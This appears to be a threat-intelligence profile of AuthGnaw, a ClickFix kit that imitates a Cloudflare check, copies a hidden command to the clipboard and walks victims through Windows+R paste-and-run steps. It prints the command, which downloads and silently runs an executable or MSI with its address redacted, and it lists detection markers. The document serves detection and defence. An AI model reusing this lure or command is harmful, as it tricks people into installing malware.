AuthGnaw ClickFix kit
AuthGnaw is a fake Cloudflare page that copies a Windows curl command and then displays Run-dialog steps. We have matched it on 1 site since 7 September.
AuthGnaw in numbers
Since 7 September, the first AuthGnaw match in our records, counted on 12 November 2026. How we count.
| Sites with AuthGnaw code | 1 |
|---|---|
| Sites with a match in the last 30 days | 0 |
| New sites in October | 0 |
The Cloudflare widget copies first
AuthGnaw is a fake Cloudflare page and false-authentication command generator. The dark Just a moment... page uses cloudflare.com as its heading and copies the cloud logo, privacy links, Ray ID and Turnstile styling. Its empty cf-turnstile-response field is never filled or submitted.
The cf-chl-widget responds to a click, Enter or Space. Activating it creates an invisible text area, copies the command with document.execCommand('copy') and removes the text area. Only then does the box change to Verifying... and disable further clicks.
The verification delay hides the Run steps
A full-screen popup first says that Cloudflare is validating the connection. After 1.4 seconds, the spinner gives way to Extra Verification Needed and three steps: press Windows+R, paste with Ctrl+V and press Enter. The page makes no verification request.
One address selects two command branches
The page keeps its download address in one constant. If the address ends in .msi, it saves %TEMP%\x.msi and starts it with quiet msiexec flags. Every other address becomes %TEMP%\x.exe and runs directly. Both branches use curl -Lso inside a minimized cmd window.
With the captured address removed, the executable branch reads:
cmd /c start "" /min cmd /c "curl -Lso %TEMP%\x.exe [download address]&&%TEMP%\x.exe&&set AuthenticateToken=[JWT-shaped text]"The AuthenticateToken value stops after its JWT header and payload; the signature segment is absent, and no code on the page reads AuthenticateToken.
What we see
| Month | New sites |
|---|---|
| September | 1 |
| October | 0 |
| November so far | 0 |
Checking a page
Search the HTML source for:
cf-chl-widgetbeside an emptycf-turnstile-responseexecCopy(LAB_PAYLOAD)and a temporary hiddentextareacurl -Lso %TEMP%\x.and the.msibranch usingmsiexecAuthenticateTokenfollowed by JWT-shaped text- a popup that changes from a validation spinner to Windows+R instructions after 1.4 seconds
The page loads no external scripts, so those markers and the full command are in the original HTML response.